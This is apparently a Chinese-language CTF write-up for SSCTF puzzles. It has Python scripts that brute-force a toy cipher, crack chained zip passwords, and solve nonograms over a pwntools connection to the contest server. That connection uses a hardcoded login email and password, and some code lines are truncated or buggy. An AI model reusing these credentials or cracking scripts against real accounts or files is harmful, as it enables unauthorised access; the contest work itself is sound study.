简单看下,发现可以逐位爆破,直接上python脚本。
先爆破key:
def LShift(t, k):
k %= 8
return ((t << k) | (t >> (8 - k))) & 0xff
def encode(p):
ret = ""
for i in range(8):
ret = ('|' if (p >> i) & 1 else 'O') + ret
return ret
A = [85, 128, 177, 163, 7, 242, 231, 69, 185, 1, 91, 89, 80, 156, 81, 9, 102, 221, 195, 33, 31, 131, 179, 246, 15, 139, 205, 49, 107, 193, 5, 63, 117, 74, 140, 29, 135, 43, 197, 212, 0, 189, 218, 190, 112, 83, 238, 47, 194, 68, 233, 67, 122, 138, 53, 14, 35, 76, 79, 162, 145, 51, 90, 234, 50, 6, 225, 250, 215, 133, 180, 97, 141, 96, 20, 226, 3, 191, 187, 57, 168, 171, 105, 113, 196, 71, 239, 200, 254, 175, 164, 203, 61, 16, 241, 40, 176, 59, 70, 169, 146, 247, 232, 152, 165, 62, 253, 166, 167, 182, 160, 125, 78, 28, 130, 159, 255, 124, 153, 56, 58, 143, 150, 111, 207, 206, 32, 144,
75, 39, 10, 201, 204, 77, 104, 65, 219, 98, 210, 173, 249, 13, 12, 103, 101, 21, 115, 48, 157, 147, 11, 99, 227, 45, 202, 158, 213, 100, 244, 54, 17, 161, 123, 92, 181, 243, 184, 188, 84, 95, 27, 72, 106, 192, 52, 44, 55, 129, 208, 109, 26, 24, 223, 64, 114, 19, 198, 23, 82, 120, 142, 178, 214, 186, 116, 94, 222, 86, 251, 36, 4, 248, 132, 25, 211, 199, 30, 87, 60, 127, 155, 41, 224, 151, 237, 136, 245, 37, 170, 252, 8, 42, 209, 46, 108, 88, 183, 149, 110, 66, 235, 229, 134, 73, 38, 118, 236, 119, 154, 216, 217, 240, 22, 121, 174, 93, 126, 230, 228, 18, 148, 220, 172, 2, 137, 34]
B = [0, 2, 3, 7, 1, 5, 6, 4]
C = [179, 132, 74, 60, 94, 252, 166, 242, 208, 217, 117, 255, 20, 99, 225, 58, 54, 184, 243, 37, 96, 106, 64, 151, 148, 248, 44, 175, 152, 40, 171, 251, 210, 118, 56, 6, 138, 77, 45, 169, 209, 232, 68, 182, 91, 203, 9, 16, 172, 95, 154, 90, 164, 161, 231, 11, 21, 3, 97, 70, 34, 86, 124, 114, 119, 223, 123, 167, 47, 219, 197, 221, 193, 192, 126, 78, 39, 233, 4, 120, 33, 131, 145, 183, 143, 31, 76, 121, 92, 153, 85, 100, 52, 109, 159, 112, 71, 62, 8, 244, 116, 245, 240, 215, 111, 134, 199, 214, 196, 213, 180, 189, 224, 101, 202, 201, 168, 32, 250, 59, 43, 27, 198, 239, 137, 238, 50,
149, 107, 247, 7, 220, 246, 204, 127, 83, 146, 147, 48, 17, 67, 23, 93, 115, 41, 191, 2, 227, 87, 173, 108, 82, 205, 49, 1, 66, 105, 176, 22, 236, 29, 170, 110, 18, 28, 185, 235, 61, 88, 13, 165, 188, 177, 230, 130, 253, 150, 211, 42, 129, 125, 141, 19, 190, 133, 53, 84, 140, 135, 10, 241, 222, 73, 12, 155, 57, 237, 181, 36, 72, 174, 207, 98, 5, 229, 254, 156, 178, 128, 55, 14, 69, 30, 194, 122, 46, 136, 160, 206, 26, 102, 218, 103, 139, 195, 0, 144, 186, 249, 79, 81, 75, 212, 234, 158, 163, 80, 226, 65, 200, 38, 187, 113, 63, 24, 25, 142, 51, 228, 35, 157, 216, 104, 162, 15, 89]
D = [2, 4, 0, 5, 6, 7, 1, 3]
plain = bytearray("asdfghjk")
print plain
#key = bytearray('12345678')
#assert len(key) == 8
ss=[chr(x) for x in range(0x20,0x80)]
res='OO|OO||OO|||||OO|OO||O||O|O||O|||O|OOOOOOO|O|O|O|||||OO|||O|||OO||O|OOOOOO|O|OO|OO||||OO|||OOOO|||||O||||O|OO|O|O|O||OO|O||O|OO|O||O|||O||O|OO|OOOOOO||OOO|O|O|O|||O|OO|O|O||O||O||OOOOO|||OO|O|'
def fuzz(key):
t1 = bytearray()
for i in plain[0:len(key)]:
t1.append(A[i])
t2 = bytearray()
for i in range(len(t1)):
t2.append(LShift(t1[i], B[i % 8]))
for times in range(16):
for i in range(len(t2)):
t2[i] = C[t2[i]]
for i in range(len(t2)):
t2[i] = LShift(t2[i], i ^ D[i % 8])
for i in range(len(t2)):
t2[i] ^= key[i % 8]
out = ""
for i in t2:
out += encode(i)
if out==res[0:8*len(key)]:
#print out
print key
for t1 in ['@','^']:
for t2 in ['N','&']:
for t3 in ['9','T']:
for t in ss:
key=t1+t2+'#qD'+t3+'3'+t
fuzz(bytearray(key))
得到key为^&#qD93_
再爆破flag
def LShift(t, k):
k %= 8
return ((t << k) | (t >> (8 - k))) & 0xff
def encode(p):
ret = ""
for i in range(8):
ret = ('|' if (p >> i) & 1 else 'O') + ret
return ret
A = [85, 128, 177, 163, 7, 242, 231, 69, 185, 1, 91, 89, 80, 156, 81, 9, 102, 221, 195, 33, 31, 131, 179, 246, 15, 139, 205, 49, 107, 193, 5, 63, 117, 74, 140, 29, 135, 43, 197, 212, 0, 189, 218, 190, 112, 83, 238, 47, 194, 68, 233, 67, 122, 138, 53, 14, 35, 76, 79, 162, 145, 51, 90, 234, 50, 6, 225, 250, 215, 133, 180, 97, 141, 96, 20, 226, 3, 191, 187, 57, 168, 171, 105, 113, 196, 71, 239, 200, 254, 175, 164, 203, 61, 16, 241, 40, 176, 59, 70, 169, 146, 247, 232, 152, 165, 62, 253, 166, 167, 182, 160, 125, 78, 28, 130, 159, 255, 124, 153, 56, 58, 143, 150, 111, 207, 206, 32, 144,
75, 39, 10, 201, 204, 77, 104, 65, 219, 98, 210, 173, 249, 13, 12, 103, 101, 21, 115, 48, 157, 147, 11, 99, 227, 45, 202, 158, 213, 100, 244, 54, 17, 161, 123, 92, 181, 243, 184, 188, 84, 95, 27, 72, 106, 192, 52, 44, 55, 129, 208, 109, 26, 24, 223, 64, 114, 19, 198, 23, 82, 120, 142, 178, 214, 186, 116, 94, 222, 86, 251, 36, 4, 248, 132, 25, 211, 199, 30, 87, 60, 127, 155, 41, 224, 151, 237, 136, 245, 37, 170, 252, 8, 42, 209, 46, 108, 88, 183, 149, 110, 66, 235, 229, 134, 73, 38, 118, 236, 119, 154, 216, 217, 240, 22, 121, 174, 93, 126, 230, 228, 18, 148, 220, 172, 2, 137, 34]
B = [0, 2, 3, 7, 1, 5, 6, 4]
C = [179, 132, 74, 60, 94, 252, 166, 242, 208, 217, 117, 255, 20, 99, 225, 58, 54, 184, 243, 37, 96, 106, 64, 151, 148, 248, 44, 175, 152, 40, 171, 251, 210, 118, 56, 6, 138, 77, 45, 169, 209, 232, 68, 182, 91, 203, 9, 16, 172, 95, 154, 90, 164, 161, 231, 11, 21, 3, 97, 70, 34, 86, 124, 114, 119, 223, 123, 167, 47, 219, 197, 221, 193, 192, 126, 78, 39, 233, 4, 120, 33, 131, 145, 183, 143, 31, 76, 121, 92, 153, 85, 100, 52, 109, 159, 112, 71, 62, 8, 244, 116, 245, 240, 215, 111, 134, 199, 214, 196, 213, 180, 189, 224, 101, 202, 201, 168, 32, 250, 59, 43, 27, 198, 239, 137, 238, 50,
149, 107, 247, 7, 220, 246, 204, 127, 83, 146, 147, 48, 17, 67, 23, 93, 115, 41, 191, 2, 227, 87, 173, 108, 82, 205, 49, 1, 66, 105, 176, 22, 236, 29, 170, 110, 18, 28, 185, 235, 61, 88, 13, 165, 188, 177, 230, 130, 253, 150, 211, 42, 129, 125, 141, 19, 190, 133, 53, 84, 140, 135, 10, 241, 222, 73, 12, 155, 57, 237, 181, 36, 72, 174, 207, 98, 5, 229, 254, 156, 178, 128, 55, 14, 69, 30, 194, 122, 46, 136, 160, 206, 26, 102, 218, 103, 139, 195, 0, 144, 186, 249, 79, 81, 75, 212, 234, 158, 163, 80, 226, 65, 200, 38, 187, 113, 63, 24, 25, 142, 51, 228, 35, 157, 216, 104, 162, 15, 89]
D = [2, 4, 0, 5, 6, 7, 1, 3]
#plain = bytearray("asdfghik123456")
#print plain
key = bytearray('^&#qD93_')
#assert len(key) == 8
ss=[chr(x) for x in range(0x0,0xff)]
res='OO|OO||OO|||||OO|OO||O||O|O||O|||O|OOOOOOO|O|O|O|||||OO|||O|||OO||O|OOOOOO|O|OO|OO||||OO|||OOOO|||||O||||O|OO|O|O|O||OO|O||O|OO|O||O|||O||O|OO|OOOOOO||OOO|O|O|O|||O|OO|O|O||O||O||OOOOO|||OO|O|'
flag='OO||O||O|O|||OOOO||||||O|O|||OOO||O|OOOO||O|O|OO|||||OOOO||||O||OO|OO||O||O|O|O|||||OOOOOO|O|O||OOOOOOO||O|||OOOO||OO|OO|||O|OO|O|||O|O|OO|OOOO|OOO|OOO|OOOO||O|OO||||OO||||OOO|O|O||OO||||O||OOO|||O|OO|OO||OO||OOOO|O|'
def fuzz(plain):
t1 = bytearray()
for i in plain:
t1.append(A[i])
t2 = bytearray()
for i in range(len(t1)):
t2.append(LShift(t1[i], B[i % 8]))
for times in range(16):
for i in range(len(t2)):
t2[i] = C[t2[i]]
for i in range(len(t2)):
t2[i] = LShift(t2[i], i ^ D[i % 8])
for i in range(len(t2)):
t2[i] ^= key[i % 8]
out = ""
for i in t2:
out += encode(i)
if out in flag:
#print out
print repr(plain)
for t in ss:
#f='SSCTF{'+'\x98qaz9ol.\xabhy64rfvQujm'+t
f='SSCTF{1qaz9ol.nhy64rfv7ujm'+t
fuzz(bytearray(f))
得到SSCTF{1qaz9ol.nhy64rfv7ujm}
Crypto&Exploit200(Chain Rule)将所有zip以密码start解压后,发现一个解开的1.txt
内容为Next password is[hh.M5Px4U%8]*2z
../20220623/file.html
pwd.zip里有很多txt,需要找到一条路径,从start.txt到达376831.txt,得到提示
Follow the path, collect the comments. Avoid the BLACKHOLE!
爆破压缩包密码的脚本:
import zipfile
import os
from threading import Thread
import time
nowDir = '.'
Now = os.listdir(nowDir)
def extract(output_dir,password):
global Now
for zip_file in Now:
try:
f_zip = zipfile.ZipFile(zip_file, 'r')
f_zip.extractall(output_dir,pwd=password)
print zip_file
f_zip.close()
f = open('1.txt','r')
p = f.readlines()[0][-16:]
f.close()
return p
except:
continue
Pass = 'start'
for i in xrange(len(Now)):
Pass = extract('.',Pass)
print i,Pass
写了个脚本得到路径:
rt subprocess
def fun():
txtid='376'+'831'
res=txtid+'<-'
#for i in range(100):
while True:
ret=subprocess.check_output(['grep','-R',txtid])
if 'Game' in ret:
res+='come back done'
break
txtid=ret[0:ret.find('.txt')]
res+=txtid+'<-'
print res
fun()
然后就是跟着路径收集comments了
这里卡了很久,后来研究了zip的格式
comments就在每个zip的最后
仔细看下pwd.zip后面,每个.txt和PK之间存放有个tab或空格的注释
提取出来:
f1=open('pwdc','rb')
f1c=f1.read()
f2=open('lujing','rb')
f2c=f2.read()
def gc(txtid):
t=f1c[f1c.find(txtid+'.txt')+10:]
ret=t[:t.find('PK')]
return ret
res=''
for i in range(len(f2c)/8):
txtid=f2c[i*8:i*8+6]
res=gc(txtid)+res
f1.close()
f2.close()
f3=open('comments','wb')
f3.write(res)
f3.close()
由于只有两种符号,把它转换为0/1试试,得到:
When I am dead, my dearest,
Sing no sad songs for me;
Plant thou no roses at my head,
Nor shady cypress tree:
Be the green grass above me
With showers and dewdrops wet:
And if thou wilt, remember,
And if thou wilt, forget.
password part1:Thispasswordistoolong
I shall not see the shadows,
I shall not see the rain;
I shall not hear the nightingle
Sing on as if in pain:
And dreaming through the twilight
That doth not rise nor set,
Haply I may remember,
And haply I may forget.
password part2:andyoudon’twanttocrackitbybruteforce
flag.zip的密码出来了Thispasswordistoolongandyoudon’twanttocrackitbybruteforce
得到Flag isSSCTF{Somewhere_Over_The_Rainbow}
Crypto&Exploit300(Nonogram)这题是个logic pic游戏,每次能解出一张二维码,而这张二维码里面存着每一位flag的加盐hash加密值和通往下一关的command,总共有25*25和29*29两种类型的二维码,git上找开源项目改改后能解出大部分二维码,但是有的题目有多个解,用普通算法没法求出所有解(所有解中只有一种能扫出来),尝试过修改源码对同一组数据采用不同方向求解(从上到下,从下到上等)仍然效果不好,最后发现一个在线解nonogram的网站能秒破:http://www.lancs.ac.uk/~simpsons/nonogram/auto,结合之前的脚本就能的到flag。
部分脚本如下:
from pwn import *
import time
from PIL import Image, ImageDraw
SYMBOL_EMPTY = 0
SYMBOL_X = 1
SYMBOL_FILLED = 2
#
def fixed_sum_digits(digits, Tot):
"""
adapted from http://stackoverflow.com/a/8617750
Given digits and Tot, it generates an array of all ways to arrange "digits" x digits so that
the sum of them is "Tot". Zero can be a digit on either end, otherwise it must be one or greater
"""
ways = []
def iter_fun(sum, deepness, sequence, Total):
if deepness == 0:
if sum == Total:
ways.append(sequence)
else:
on_end = deepness == 1 or deepness == digits
for i in range(0 if on_end else 1, Total - sum + 1):
iter_fun(sum + i, deepness - 1, sequence + [i], Total)
iter_fun(0, digits, [], Tot)
return ways
def generate_possible_rows(nums, size):
digits = len(nums) + 1
space_left = size - sum(nums)
combos = fixed_sum_digits(digits, space_left)
rows = []
for combo in combos:
row = [None] * (len(combo) + len(nums))
row[::2] = combo
row[1::2] = nums
out = []
curr = SYMBOL_X;
for r in row:
out.extend([curr] * r)
curr = SYMBOL_X if (curr == SYMBOL_FILLED) else SYMBOL_FILLED
rows.append(out)
return rows
def filter_rows(rows, existing):
def is_row_okay(row, existing):
for i in range(0, len(existing)):
if existing[i] != 0 and row[i] != existing[i]:
return False
return True
return [row for row in rows if is_row_okay(row, existing)]
def find_common_rows(rows, size):
row_x = [SYMBOL_X] * size
row_filled = [SYMBOL_FILLED] * size
for row in rows:
for i in range(0, size):
if row[i] == SYMBOL_FILLED:
row_x[i] = SYMBOL_EMPTY
if row[i] == SYMBOL_X:
row_filled[i] = SYMBOL_EMPTY
return [x + y for x, y in zip(row_x, row_filled)]
def do_row(nums, size, existing=None):
possible = generate_possible_rows(nums, size)
if existing is not None:
possible = filter_rows(possible, existing)
common = find_common_rows(possible, size)
if existing is not None:
for i in range(0, size):
if common[i] == SYMBOL_EMPTY:
common[i] = existing[i]
return common
def is_row_filled(row):
for x in row:
if x == SYMBOL_EMPTY:
return False
return True
# Grid abstraction handlers
def grid_make(w, h):
return [[SYMBOL_EMPTY for i in range(0, w)] for j in range(0, h)]
def grid_get_row(grid, row):
return grid[row]
def grid_get_col(grid, col):
return [row[col] for row in grid]
def grid_set_row(grid, row, val):
grid[row] = val
def grid_set_col(grid, col, val):
for row in range(0, len(grid)):
grid[row][col] = val[row]
def grid_print(grid):
symbol_print = [' ', '·', '█']
for row in grid:
s = ""
for x in row:
s += symbol_print[x]
print(s)
def grid_filled(grid):
for row in grid:
if not is_row_filled(row):
return False
return True
def grid_image(grid, size=10):
w, h = len(grid[0]), len(grid)
im = Image.new("RGB", (w * size, h * size), (255, 255, 255))
draw = ImageDraw.Draw(im)
for y in range(0, h):
row = grid[y]
for x in range(0, w):
val = row[x]
coord = [(x * size, y * size), ((x + 1) * size, (y + 1) * size)]
if val == SYMBOL_FILLED:
draw.rectangle(coord, fill=(0, 0, 0))
if val == SYMBOL_X:
draw.rectangle(coord, fill=(255, 128, 128))
return im
# end grid abstraction handlers
def go(cols, rows ,num):
w = len(cols)
h = len(rows)
g = grid_make(w, h)
#num = 0
def snapshot(name="nonogram"):
#num = 0
im = grid_image(g)
im.save("%s_%04d.png" % (name, num))
#num += 1
snapshot()
while not grid_filled(g):
for i in range(0, h):
row = grid_get_row(g, i)
if is_row_filled(row):
continue
d = do_row(test_rows[i], h, row)
grid_set_row(g, i, d)
snapshot()
for i in range(0, w):
col = grid_get_col(g, i)
if is_row_filled(col):
continue
d = do_row(test_cols[i], w, col)
grid_set_col(g, i, d)
snapshot()
snapshot()
return g
conn = remote('socket.lab.seclover.com',52700)
print conn.recvuntil('Email Addr :')
conn.sendline('842726240@qq.com')
print conn.recvuntil('Password :')
conn.sendline('uhOadRGbnHri')
print conn.recvuntil(':~$')
conn.sendline('sudo su')
ss = conn.recvuntil('}')
conn.recvuntil('#')
conn.sendline('id')
print conn.recvuntil('#')
conn.sendline('w')
print conn.recvuntil('#')
conn.sendline('eval')
print conn.recvuntil('#')
conn.sendline('bash')
print conn.recvuntil('#')
conn.sendline('ls')
print conn.recvuntil('#')
conn.sendline('dir')
print conn.recvuntil('#')
conn.sendline('cd')
print conn.recvuntil('#')
conn.sendline('mv')
print conn.recvuntil('#')
conn.sendline('cp')
print conn.recvuntil('#')
conn.sendline('pwd')
print conn.recvuntil('#')
conn.sendline('tree')
print conn.recvuntil('#')
conn.sendline('apt')
print conn.recvuntil('#')
conn.sendline('mysql')
print conn.recvuntil('#')
conn.sendline('php')
print conn.recvuntil('#')
conn.sendline('head')
print conn.recvuntil('#')
conn.sendline('tail')
print conn.recvuntil('#')
conn.sendline('cat')
print conn.recvuntil('#')
conn.sendline('grep')
print conn.recvuntil('#')
conn.sendline('more')
print conn.recvuntil('#')
conn.sendline('less')
print conn.recvuntil('#')
conn.sendline('vim')
print conn.recvuntil('#')
conn.sendline('nano')
print conn.recvuntil('#')
conn.sendline('sed')
print conn.recvuntil('#')
conn.sendline('awk')
print conn.recvuntil('#')
conn.sendline('ps')
print conn.recvuntil('#')
conn.sendline('top')
print conn.recvuntil('#')
conn.sendline('kill')
print conn.recvuntil('#')
conn.sendline('find')
print conn.recvuntil('#')
conn.sendline('break')
print conn.recvuntil('#')
conn.sendline('gcc')
print conn.recvuntil('#')
conn.sendline('debug')
print conn.recvuntil('#')
conn.sendline('git')
print conn.recvuntil('#')
conn.sendline('curl')
print conn.recvuntil('#')
conn.sendline('wget')
print conn.recvuntil('#')
conn.sendline('gzip')
print conn.recvuntil('#')
conn.sendline('tar')
print conn.recvuntil('#')
conn.sendline('ftp')
ss = conn.recvuntil('}')
#print ss
split = ss.split(':')
coll = split[1]
test_cols0 = coll[:-7]
test_rows0 = split[2]
test_rows0 = test_rows0[:-1]
print 'cols ====',test_cols0
print 'rows ====',test_rows0
test_cols = test_cols0
test_rows = test_rows0
ret = test_cols0.find('?')
change = 2
if ret!= -1:
test_cols = test_cols0[:ret-1] + str(change) + test_cols0[ret+2:]
print '==00=',test_cols
ret = test_rows0.find('?')
if ret!= -1:
test_rows = test_rows0[:ret-1] + str(change) + test_rows0[ret+2:]
print '==00=',test_rows
#test_rows=[[7,],(3,3),(1,2),(3,3,2),(1,1,1,1,2),(1,1,1,1),(1,1,1,1,1,1), (1,1,1,1,2),(2,1,2,1,1),(7,4,1,1),(1,1,1,1,1,2,1),(3,1,11,1),(16,1),(14,2),(4,1,1),(4,2,1,2),(1,2,1,1,2),(2,2,1,3),(1,1,4),(5,)]
#test_cols=[(4,4),(2,2,3,1),(1,1,5,1,1),(2,1,6),(1,10),(1,2,1,4),(1,1,1,6),(2,2,2,3,3),(1,4,3,2,1),(1,3,1,2),(1,4,1,1,1),(1,3,1,4,1,2),(1,2,3,1,1),(2,1,3,1),(1,1,2,2),(2,2,1),(2,2,2),(2,2,2),(4,3),(7,)]
test_cols = list(eval(test_cols))
print 'xxxx:',test_cols
test_rows = list(eval(test_rows))
go(test_cols,test_rows,7)
print 'over!'
conn.interactive()
解密脚本如下:
#!/usr/bin/python
# -*- coding: utf-8 -*-
from PIL import Image, ImageDraw
SYMBOL_EMPTY = 0
SYMBOL_X = 1
SYMBOL_FILLED = 2
#
def fixed_sum_digits(digits, Tot):
"""
adapted from http://stackoverflow.com/a/8617750
Given digits and Tot, it generates an array of all ways to arrange "digits" x digits so that
the sum of them is "Tot". Zero can be a digit on either end, otherwise it must be one or greater
"""
ways = []
def iter_fun(sum, deepness, sequence, Total):
if deepness == 0:
if sum == Total:
ways.append(sequence)
else:
on_end = deepness == 1 or deepness == digits
for i in range(0 if on_end else 1, Total - sum + 1):
iter_fun(sum + i, deepness - 1, sequence + [i], Total)
iter_fun(0, digits, [], Tot)
return ways
def generate_possible_rows(nums, size):
digits = len(nums) + 1
space_left = size - sum(nums)
combos = fixed_sum_digits(digits, space_left)
rows = []
for combo in combos:
row = [None] * (len(combo) + len(nums))
row[::2] = combo
row[1::2] = nums
out = []
curr = SYMBOL_X;
for r in row:
out.extend([curr] * r)
curr = SYMBOL_X if (curr == SYMBOL_FILLED) else SYMBOL_FILLED
rows.append(out)
return rows
def filter_rows(rows, existing):
def is_row_okay(row, existing):
for i in range(0, len(existing)):
if existing[i] != 0 and row[i] != existing[i]:
return False
return True
return [row for row in rows if is_row_okay(row, existing)]
def find_common_rows(rows, size):
row_x = [SYMBOL_X] * size
row_filled = [SYMBOL_FILLED] * size
for row in rows:
for i in range(0, size):
if row[i] == SYMBOL_FILLED:
row_x[i] = SYMBOL_EMPTY
if row[i] == SYMBOL_X:
row_filled[i] = SYMBOL_EMPTY
return [x + y for x, y in zip(row_x, row_filled)]
def do_row(nums, size, existing=None):
possible = generate_possible_rows(nums, size)
if existing is not None:
possible = filter_rows(possible, existing)
common = find_common_rows(possible, size)
if existing is not None:
for i in range(0, size):
if common[i] == SYMBOL_EMPTY:
common[i] = existing[i]
return common
def is_row_filled(row):
for x in row:
if x == SYMBOL_EMPTY:
return False
return True
# Grid abstraction handlers
def grid_make(w, h):
return [[SYMBOL_EMPTY for i in range(0, w)] for j in range(0, h)]
def grid_get_row(grid, row):
return grid[row]
def grid_get_col(grid, col):
return [row[col] for row in grid]
def grid_set_row(grid, row, val):
grid[row] = val
def grid_set_col(grid, col, val):
for row in range(0, len(grid)):
grid[row][col] = val[row]
def grid_print(grid):
symbol_print = [' ', '·', '█']
for row in grid:
s = ""
for x in row:
s += symbol_print[x]
print(s)
def grid_filled(grid):
for row in grid:
if not is_row_filled(row):
return False
return True
def grid_image(grid, size=10):
w, h = len(grid[0]), len(grid)
im = Image.new("RGB", (w * size, h * size), (255, 255, 255))
draw = ImageDraw.Draw(im)
for y in range(0, h):
row = grid[y]
for x in range(0, w):
val = row[x]
coord = [(x * size, y * size), ((x + 1) * size, (y + 1) * size)]
if val == SYMBOL_FILLED:
draw.rectangle(coord, fill=(0, 0, 0))
if val == SYMBOL_X:
draw.rectangle(coord, fill=(255, 128, 128))
return im
# end grid abstraction handlers
def go(cols, rows):
w = len(cols)
h = len(rows)
g = grid_make(w, h)
num = 0
def snapshot(name="nonogram"):
num = 0
im = grid_image(g)
im.save("%s_%04d.png" % (name, num))
num += 1
snapshot()
while not grid_filled(g):
for i in range(0, h):
row = grid_get_row(g, i)
if is_row_filled(row):
continue
d = do_row(test_rows[i], h, row)
grid_set_row(g, i, d)
snapshot()
for i in range(0, w):
col = grid_get_col(g, i)
if is_row_filled(col):
continue
d = do_row(test_cols[i], w, col)
grid_set_col(g, i, d)
snapshot()
snapshot()
return g
# id w
# 1 1
# test stuff
#test_cols = [(2, 2, 5), (2, 1, 9), (3, 4, 3), (3, 3, 2, 1), (3, 3, 5, 2), (4, 2, 3, 2), (9, 2), (9, ), (16, ), (1, 15), (1, 11, 3), (14, 2), (2, 6, 5, 2), (1, 7, 2, 2), (1, 9, 4), (11, 2), (10, 2), (10, 1, 2), (8, 1, 2), (5, 3)]
#test_rows = [(2,), (4, 4), (1, 3, 1, 5), (3, 1, 2, 3), (1, 3, 4, 5), (2, 14), (15,), (14,), (16,), (18,), (4, 14), (3, 7, 6), (3, 9, 4), (2, 2, 6), (2, 2, 2, 4, 2), (2, 2, 1, 2, 4, 1), (2, 3, 2, 1, 3, 1), (2, 1, 3, 2, 4), (2, 1, 5, 2), (3, 3)]
#test_rows = [(2,2,11),(3,4,13),(3,5,11),(4,3,10),(3,3,3,1),(1,1,1,1,1,1),(5,3,4),(1,1,4,2,5,1),(3,2,2,5),(1,2,3,3,1),(1,6,1,1,1),(1,4,1,1,2),(5,4,5,1),(10,1,3,5),(8,1,1,8,2),(11,5,9),(1,3,5,9),(1,1,1,1,5,7),(3,6,8),(21,),(3,2,9,10),(6,4,3,5,1),(6,5),(3,5),(3,2,6),(3,5,1,1,3),(5,3,4,1,1,4),(3,2,3,6),(3,3,1,9),(2,2,1,2,4)]
#test_cols = [(2,4,1,3,3,4),(2,1,1,1,1,3,4),(3,3,7,5,3),(3,1,5,4,1),(6,6,4,1),(1,2,4,3),(3,4,1,1,2),(2,3,1,2),(3,3,3,1),(5,3,3,2),(4,1,1,4,1),(4,1,1,5),(1,1,3,3,1,1),(7,4,1,3),(1,14,2),(1,1,3,7,2),(4,1,9,2),(6,1,1,7,1),(5,1,7),(6,1,1,9),(4,1,1,6,1,1),(4,4,18),(4,3,13,1),(5,23),(3,3,8,5),(3,16,4),(3,1,6,4),(1,1,8,3),(1,3,3,3),(1,1,1,2,1,2)]
#test_rows = [[7,],(3,3),(1,2),(3,3,2),(1,1,1,1,2),(1,1,1,1),(1,1,1,1,1,1), (1,1,1,1,2),(2,1,2,1,1),(7,4,1,1),(1,1,1,1,1,2,1),(3,1,11,1),(16,1),(14,2),(4,1,1),(4,2,1,2),(1,2,1,1,2),(2,2,1,3),(1,1,4),(5,)]
#test_cols = [(4,4),(2,2,3,1),(1,1,5,1,1),(2,1,6),(1,10),(1,2,1,4),(1,1,1,6),(2,2,2,3,3),(1,4,3,2,1),(1,3,1,2),(1,4,1,1,1),(1,3,1,4,1,2),(1,2,3,1,1),(2,1,3,1),(1,1,2,2),(2,2,1),(2,2,2),(2,2,2),(4,3),(7,)]
#test_cols = [[7, 1, 1, 1, 5, 7], [1, 1, 1, 1, 2, 2, 1, 1], [1, 3, 1, 2, 3, 4, 1, 3, 1], [1, 3, 1, 1, 1, 3, 1, 1, 3, 1], [1, 3, 1, 1, 2, 1, 1, 1, 3, 1], [1, 1, 2, 2, 1, 1, 1], [7, 1, 1, 1, 1, 1, 1, 1, 7], [1, 2, 2, 2], [1, 1, 2, 3, 1, 4, 1 , 5], [4, 5, 2, 3, 2], [1, 3, 1, 1, 1, 2, 1, 1], [3, 3, 3, 3], [1, 1, 3, 1, 1, 2, 1, 1, 2, 1], [2, 1, 3, 3], [1, 3, 1, 1, 2, 1, 1, 2, 1, 1], [1, 2, 2, 1, 3, 7, 3], [1, 1, 1, 1, 2, 1, 1, 1, 2], [2, 2, 1, 2, 1, 1, 2, 1], [2, 3, 1, 1, 1, 1, 2, 1, 1], [1, 1, 2, 1, 2, 4, 1], [3, 1, 4, 1, 1, 1, 8], [1, 3, 1, 1, 2, 3, 1], [7, 2, 1, 1, 1], [1, 1, 1, 1, 1, 1, 2, 2, 2], [1, 3, 1, 3, 1, 1, 1, 6, 1], [1, 3, 1, 3, 1, 1, 1, 1, 1, 1, 1], [1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 2, 3], [7, 1, 1, 1, 1, 1, 1]]
#test_rows = [[7, 1, 3, 1, 7], [1, 1, 2, 2, 2, 1, 1], [1, 3, 1, 3, 1, 1, 1, 1, 1, 3, 1], [1, 3, 1, 2, 1, 1, 1, 1, 3, 1], [1, 3, 1, 1, 4, 4, 1, 3, 1], [1, 1, 1, 1, 3, 1, 1, 1], [7, 1, 1, 1, 1, 1, 1, 1, 7], [2, 1], [5, 5, 1, 4, 3, 1, 1, 1], [1, 1, 2, 3, 3, 1], [1, 2, 2, 2, 2, 2, 4], [1, 1, 1, 3, 1, 1, 1, 2, 2], [1, 1, 2, 1, 1, 1, 1, 1, 3], [3, 1, 4, 1, 2, 2, 1], [1, 1, 1, 2, 3, 1, 2], [2, 1, 1, 2, 3, 1], [2, 1, 4, 1, 3, 1, 1, 3], [1, 4, 1, 1, 2, 1, 1], [1, 2, 1, 1, 2, 1, 2, 3], [1, 1, 1, 2, 1, 2, 5, 1], [1, 3, 2, 3, 3, 8], [3, 4, 3, 1, 1], [7, 2, 3, 3, 1, 1, 2], [1, 1, 1, 2, 2, 2, 1], [1, 3, 1, 2, 1, 1, 2, 5, 1, 1], [1, 3, 1, 2, 2, 2, 1, 1], [1, 3, 1, 1, 2, 1, 4, 4], [1, 1, 1, 1, 3, 1, 1, 1], [7, 1, 2, 3, 1, 1, 2]]
#test_cols = [[7, 3, 4, 7], [1, 1, 3, 1, 1, 1], [1, 3, 1, 3, 3, 1, 3, 1], [1, 3, 1, 3, 1, 1, 3, 1], [1, 3, 1, 3, 1, 2, 1, 3, 1], [1, 1, 2, 1, 1, 1, 1], [7, 1, 1, 1, 1, 1, 7], [3], [1, 2, 1, 2, 3, 2, 2], [1, 3, 1, 1, 2], [2, 1, 2, 3, 1, 3], [1, 2, 2, 2, 1, 2, 1, 2], [2, 3, 2, 1, 1, 2, 1], [2, 2, 3, 1, 1, 2, 3, 1], [2, 3, 7, 1, 2], [2, 1, 1, 1, 1, 3], [3, 2, 2, 1, 1, 5, 3], [1, 1, 2, 1], [7, 2, 3, 1, 1, 3, 1], [1, 1, 3, 2, 1, 1], [1, 3, 1, 3, 1, 9], [1, 3, 1, 1, 5, 1, 1], [1, 3, 1, 3, 1, 2, 2], [1, 1, 5, 1, 1, 1, 2], [7, 9, 7]]
